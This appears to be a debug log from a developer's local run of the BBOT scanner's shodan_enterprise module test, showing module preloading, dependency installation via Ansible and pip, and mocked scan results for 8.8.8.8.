[VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-03-01 17:04:25,646 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_rfwduknp6k completed in 0 seconds with status FINISHED +2026-03-01 17:04:25,646 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-01 17:04:25,647 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 17:04:25,648 [CRITICAL] bbot test_module_shodan_enterprise.py:56 Found 1 ASN events +2026-03-01 17:04:25,649 [HUGEINFO] bbot test_module_shodan_enterprise.py:62 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} +2026-03-01 17:04:25,649 [CRITICAL] bbot test_module_shodan_enterprise.py:99 Found 2 TCP PORT events: ['8.8.8.8:443', '8.8.8.8:53'] +2026-03-01 17:04:25,649 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:102 ✓ Open TCP port 53 detected +2026-03-01 17:04:25,649 [CRITICAL] bbot test_module_shodan_enterprise.py:107 Found 1 UDP PORT events: ['8.8.8.8:53'] +2026-03-01 17:04:25,649 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:110 ✓ Open UDP port 53 detected +2026-03-01 17:04:25,650 [CRITICAL] bbot test_module_shodan_enterprise.py:114 Found 0 VULNERABILITY events +2026-03-01 17:04:25,650 [HUGEWARNING] bbot test_module_shodan_enterprise.py:117 Vulnerabilities: {} +2026-03-01 17:04:25,650 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-03-01 17:04:25,650 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-03-01 17:06:19,887 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-03-01 17:06:19,897 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-01 17:06:19,898 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-01 17:06:19,899 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-01 17:06:19,900 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-01 17:06:19,901 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-01 17:06:19,902 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-01 17:06:19,903 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-01 17:06:19,904 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-01 17:06:19,905 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-01 17:06:19,905 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-01 17:06:19,906 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-01 17:06:19,907 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-01 17:06:19,908 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-01 17:06:19,909 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-01 17:06:19,909 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-01 17:06:19,910 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-01 17:06:19,911 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-01 17:06:19,912 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-01 17:06:19,913 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-01 17:06:19,914 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-01 17:06:19,914 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-01 17:06:19,915 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-03-01 17:06:19,916 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-01 17:06:19,916 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-03-01 17:06:19,917 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-01 17:06:19,918 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-01 17:06:19,918 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-01 17:06:19,919 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-01 17:06:19,919 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-03-01 17:06:19,920 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-03-01 17:06:19,921 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-03-01 17:06:19,922 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-03-01 17:06:19,922 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-03-01 17:06:19,923 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-03-01 17:06:19,924 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-03-01 17:06:19,924 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-03-01 17:06:19,925 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-03-01 17:06:19,925 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-03-01 17:06:19,926 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-03-01 17:06:19,926 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-03-01 17:06:19,927 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-03-01 17:06:19,931 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-03-01 17:06:19,932 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-03-01 17:06:19,932 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-03-01 17:06:19,933 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-03-01 17:06:19,934 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-03-01 17:06:19,935 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-03-01 17:06:19,935 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-03-01 17:06:19,936 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-03-01 17:06:19,937 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-03-01 17:06:19,937 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-03-01 17:06:19,938 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-03-01 17:06:19,939 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-03-01 17:06:19,939 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-03-01 17:06:19,940 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-03-01 17:06:19,941 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-03-01 17:06:19,942 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-03-01 17:06:19,942 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-03-01 17:06:19,943 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-03-01 17:06:19,944 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-03-01 17:06:19,944 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-03-01 17:06:19,945 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-03-01 17:06:19,946 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-03-01 17:06:19,947 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-03-01 17:06:19,947 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-03-01 17:06:19,948 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-03-01 17:06:19,949 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-03-01 17:06:19,955 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-03-01 17:06:19,955 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-03-01 17:06:19,957 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-03-01 17:06:19,957 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-03-01 17:06:19,958 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-03-01 17:06:19,959 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-03-01 17:06:19,960 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-03-01 17:06:19,960 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-03-01 17:06:19,961 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-03-01 17:06:19,962 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-03-01 17:06:19,963 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-03-01 17:06:19,964 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-03-01 17:06:19,965 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-03-01 17:06:19,965 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-03-01 17:06:19,966 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-03-01 17:06:19,967 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-03-01 17:06:19,967 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-03-01 17:06:19,968 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-03-01 17:06:19,968 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-03-01 17:06:19,969 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-03-01 17:06:19,969 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-03-01 17:06:19,970 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-03-01 17:06:19,970 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-03-01 17:06:19,971 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-03-01 17:06:19,972 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-03-01 17:06:19,972 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-03-01 17:06:19,973 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-03-01 17:06:19,974 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-03-01 17:06:19,975 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-03-01 17:06:19,976 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-03-01 17:06:19,976 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-03-01 17:06:19,977 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-03-01 17:06:19,978 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-03-01 17:06:19,978 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-03-01 17:06:19,979 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-03-01 17:06:19,979 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-03-01 17:06:19,980 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-03-01 17:06:19,980 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-03-01 17:06:19,981 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-03-01 17:06:19,981 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-03-01 17:06:19,982 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-03-01 17:06:19,982 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-03-01 17:06:19,983 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-03-01 17:06:19,984 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-03-01 17:06:19,984 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-03-01 17:06:19,985 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-03-01 17:06:19,985 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-03-01 17:06:19,986 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-03-01 17:06:19,986 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-03-01 17:06:19,987 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-03-01 17:06:19,987 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-03-01 17:06:19,988 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-03-01 17:06:19,988 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-03-01 17:06:19,990 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-03-01 17:06:19,990 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-03-01 17:06:19,991 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-03-01 17:06:19,991 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-03-01 17:06:19,992 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-03-01 17:06:19,992 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-03-01 17:06:19,993 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-03-01 17:06:19,993 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-03-01 17:06:19,994 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-03-01 17:06:19,995 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-03-01 17:06:19,996 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-03-01 17:06:19,996 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-03-01 17:06:19,997 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-03-01 17:06:19,997 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-03-01 17:06:19,998 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-03-01 17:06:19,999 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-03-01 17:06:19,999 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-01 17:06:20,000 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-01 17:06:20,000 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-01 17:06:20,001 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-01 17:06:20,002 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-01 17:06:20,002 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-01 17:06:20,003 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-01 17:06:20,003 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-01 17:06:20,004 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-01 17:06:20,004 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-03-01 17:06:20,005 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-01 17:06:20,006 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-03-01 17:06:20,007 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-01 17:06:20,007 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-01 17:06:20,008 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-01 17:06:20,008 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-01 17:06:20,009 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-01 17:06:20,010 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-01 17:06:20,011 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-01 17:06:20,013 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-01 17:06:20,014 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-01 17:06:20,016 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-01 17:06:20,016 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-01 17:06:20,018 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-01 17:06:20,018 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-01 17:06:20,019 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-01 17:06:20,020 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-01 17:06:20,020 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-01 17:06:20,021 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-03-01 17:06:20,021 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-01 17:06:20,022 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-01 17:06:20,022 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-03-01 17:06:20,023 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-01 17:06:21,108 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 17:06:21,108 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 17:06:21,108 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-01 17:06:21,243 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-01 17:06:21,813 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-01 17:06:21,813 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-01 17:06:21,814 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-01 17:06:21,814 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-01 17:06:22,017 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-01 17:06:22,018 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-01 17:06:22,128 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-01 17:06:22,129 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-01 17:06:22,178 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-03-01 17:06:22,181 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-01 17:06:22,181 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-03-01 17:06:22,605 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-01 17:06:22,606 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-01 17:06:41,176 [WARNING] bbot.core.helpers.depsinstaller installer.py:443 Incorrect password +2026-03-01 17:06:44,426 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-03-01 17:06:44,427 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-01 17:06:44,427 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-01 17:06:46,196 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-01 17:06:46,197 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-01 17:06:46,202 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 17:06:46,203 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-03-01 17:06:46,203 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-03-01 17:06:46,203 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-01 17:06:46,207 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/3cwihidvrwonnmwyqm3z +2026-03-01 17:06:46,982 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-03-01 17:06:46,983 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-01 17:06:46,983 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 17:06:46,984 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-01 17:06:46,984 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 17:06:46,984 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-01 17:06:46,984 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 17:06:46,985 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-01 17:06:46,985 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-03-01 17:06:47,106 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-03-01 17:06:47,107 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-01 17:06:47,107 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-03-01 17:06:47,108 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-03-01 17:06:47,109 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-03-01 17:06:47,109 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-01 17:06:47,109 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-03-01 17:06:47,110 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-03-01 17:06:47,110 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-01 17:06:47,111 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-03-01 17:06:47,111 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-01 17:06:47,112 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-01 17:06:47,112 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-01 17:06:47,112 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-01 17:06:47,112 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-01 17:06:47,113 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-01 17:06:47,113 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-01 17:06:47,113 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-01 17:06:47,113 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-01 17:06:47,114 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-01 17:06:47,114 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-01 17:06:47,114 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-01 17:06:47,114 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-01 17:06:47,115 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-01 17:06:47,115 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-01 17:06:47,115 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-01 17:06:47,115 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-01 17:06:47,115 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-01 17:06:47,115 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-01 17:06:47,116 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-01 17:06:47,116 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-01 17:06:47,116 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-01 17:06:47,116 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-01 17:06:47,116 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-01 17:06:47,117 [DEBUG] bbot.scanner 